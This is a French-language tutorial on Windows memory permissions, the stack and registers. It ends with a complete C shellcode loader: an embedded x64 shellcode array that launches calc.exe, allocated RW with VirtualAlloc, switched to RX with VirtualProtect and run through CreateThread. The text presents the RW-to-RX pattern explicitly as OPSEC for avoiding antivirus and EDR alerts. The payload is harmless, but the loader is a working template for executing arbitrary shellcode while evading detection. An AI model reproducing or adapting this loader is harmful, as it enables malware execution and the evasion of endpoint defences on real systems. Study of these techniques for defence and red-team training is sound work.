B.Allouer la mémoire en RW et changer en RX avant l'exécution

Introduction :

On repart du code de la partie A cependant avant toute implémentation il est nécessaire de comprendre la mémoire et les termes RW et RX

VirtualProtect, fonction (memoryapi.h) - Win32 appsMicrosoftLearn

Rust par le Métal: Stack et Heaplafor.ge

Stack Memory: An Overview (Part 3)Varonis

Fonctionnement de la pilehackndo

Gestion de la mémoirehackndo

Théorie :

1. Les Permissions Mémoire (RWX)

La mémoire vive (RAM) n'est pas juste un long ruban de données. Elle est divisée en pages (souvent de 4 Ko). Le processeur, aidé par le système d'exploitation, applique des règles strictes sur ce que l'on peut faire avec chaque page. C'est ce qu'on appelle la protection de mémoire.

• R (Read - Lecture) : Autorise le processeur à lire le contenu de la page. Si vous essayez de lire une page sans ce droit, le programme plante (Access Violation).

• W (Write - Écriture) : Autorise le programme à modifier ou écrire des données dans la page.

• X (Execute - Exécution) : C'est le droit le plus "puissant". Il autorise le processeur à traiter les données de la page comme des instructions machine. Sans ce droit, même si vous avez du code binaire parfait, le processeur refusera de le lire et déclenchera une erreur de sécurité (appelée DEP pour Data Execution Prevention).

Règle d'or de la sécurité : Pour éviter les attaques, les systèmes modernes essaient d'appliquer le principe W^X (Write XOR Execute). Une page peut être soit écrivable (RW), soit exécutable (RX), mais idéalement jamais les deux en même temps (RWX).

---

2. L'Organisation de la Mémoire d'un Processus

Lorsqu'un programme (comme .exe) est lancé, Windows crée un "espace d'adressage virtuel". Voici comment il est découpé de haut en bas :

A. La Section Code (.text)

C'est ici que se trouve votre programme compilé.

• Permission : RX (On lit et on exécute, mais on ne modifie pas son propre code pendant qu'il tourne).

B. La Section Données (.data / .rdata)

Contient les variables globales et les constantes (comme les chaînes de caractères).

• Permission : RW ou R.

C. Le Heap (Le Tas)

C'est une grande zone de stockage "en vrac". Le programme y demande de la place quand il en a besoin (ex: malloc en C).

• Permission : RW.

D. La Stack (La Pile)

C'est la zone la plus ordonnée et la plus rapide. Elle sert à gérer la "vie" des fonctions.

---

3. La Stack (La Pile) en détail

La Stack suit le principe LIFO (Last In, First Out). Imaginez une pile d'assiettes : vous ne pouvez ajouter ou retirer une assiette que par le haut.

Chaque fois que vous appelez une fonction, Windows crée un Stack Frame (un cadre de pile) pour cette fonction. Ce cadre contient :

1. Les arguments passés à la fonction.

2. L'adresse de retour : L'endroit où le processeur doit retourner une fois la fonction terminée.

3. Les variables locales : Celles que vous déclarez à l'intérieur de { ... }.

---

4. Les Registres : Les mains du Processeur

Le processeur (CPU) possède ses propres zones de stockage ultra-rapides appelées Registres. En 64 bits, ils font 8 octets chacun.

Les registres de contrôle (Les plus critiques) :

• RIP (Instruction Pointer) : C'est le "curseur". Il contient l'adresse de la prochaine instruction que le processeur va exécuter. Si vous arrivez à changer la valeur de RIP, vous contrôlez ce que l'ordinateur fait.

• RSP (Stack Pointer) : Il pointe toujours sur le sommet de la pile (l'assiette tout en haut). Il descend quand on ajoute des données (PUSH) et remonte quand on en retire (POP).

• RBP (Base Pointer) : Il sert d'ancre pour la fonction actuelle. Il pointe sur le début du Stack Frame pour retrouver facilement les variables locales.

Les registres de données :

• RAX : Souvent utilisé pour stocker le résultat d'une fonction (si une fonction renvoie 1, RAX contiendra 1).

• RCX, RDX, R8, R9 : Utilisés pour passer les 4 premiers arguments à une fonction sous Windows (Convention d'appel x64).

---

Résumé du fonctionnement :

1. Le RIP pointe sur une instruction dans la section Code (RX).

2. Le processeur exécute l'instruction.

3. Si l'instruction a besoin d'une variable locale, il va la chercher dans la Stack en utilisant le RSP ou le RBP.

4. Si vous appelez une fonction, l'adresse actuelle est sauvegardée sur la Stack, et le RIP saute à la nouvelle adresse de la fonction.

5. Pourquoi avoir une zone RW puis RX ?

Dans un système Windows moderne, il est extrêmement rare qu'un programme légitime ait besoin d'une page mémoire qui soit à la fois modifiable (Write) et exécutable (Execute).

• Logiciels légitimes : Ils séparent strictement les données (RW) du code (RX).

• Exception : Seuls les moteurs JIT (Just-In-Time) comme ceux des navigateurs web (Chrome, Firefox) pour le JavaScript utilisent du RWX.

Conséquence OPSEC : Les antivirus et les EDR (Endpoint Detection and Response) surveillent spécifiquement l'appel système VirtualAlloc avec l'argument PAGE_EXECUTE_READWRITE. Si ton programme demande du RWX, il déclenche immédiatement une alerte de "comportement suspect".

6. Code :

#include <windows.h>
#include <stdio.h>

int main(void) {

// Etape 1 : Shellcode (calc)
unsigned char payload[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

//Etape 2 : Zone mémoire à créer en RW donc flprotect = PAGE_READWRITE 

//On va utilise la fonction virtualloc
/*LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
); 
*/ 

//Commencons par récupérer la taille du payload qui a un type SIZE_T

SIZE_T size = sizeof(payload); // Taille en bytes du shellcode
printf("[+] Taille du payload: %zu bytes\n", size);

// Désormais on doit traiter flAllocationType, la valeur sera MEM_COMMIT | MEM_RESERVE cf.Documentation windows 

// flProtect -> sa valeur sera PAGE_READWRITE  pour avoir une zone mémoire en RW

LPVOID exec = VirtualAlloc(NULL,size,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);

if (exec == NULL){
    printf("Allocation memoire echoue");
}
else{
    printf("Reussi \n");
    printf("[+] Memoire allouee a l'adresse: 0x%p avec les droits RW.\n", exec);
}

// Etape 3 : Copier le shellcode dans la zone mémoire avec memcpy (https://learn.microsoft.com/fr-fr/cpp/c-runtime-library/reference/memcpy-wmemcpy?view=msvc-170)
/*
void *memcpy(
   void *dest,
   const void *src,
   size_t count
);
*/
void *adress= memcpy(exec,payload,size);
printf("[+] Payload copie a l'adresse %p.\n", adress);

// Etape 4 Changer la zone mémoire en RX avant l'excution avec VirtualProtect (https://learn.microsoft.com/fr-fr/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)

/*
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
*/

DWORD old_status = 0;

VirtualProtect(adress,size,PAGE_EXECUTE_READ,&old_status);

printf("Old status : %p",old_status);

printf("Changement en RX");


// Etape 5 Executer le shellcode à l'aide d'un thread pour qu'il soit décorrélé de l'execution du loader 
/*
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);
*/
HANDLE thread_exec = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE) exec,NULL,0,NULL);
//on cast exec en LPTHREAD_START_ROUTINE



if (thread_exec == NULL){
    printf("Thread exec echoue");
}
else{
    printf("Reussi \n");
    printf("[+] Shellcode execute via CreateThread \n");
    WaitForSingleObject(thread_exec, INFINITE);
  
}
return 0;
}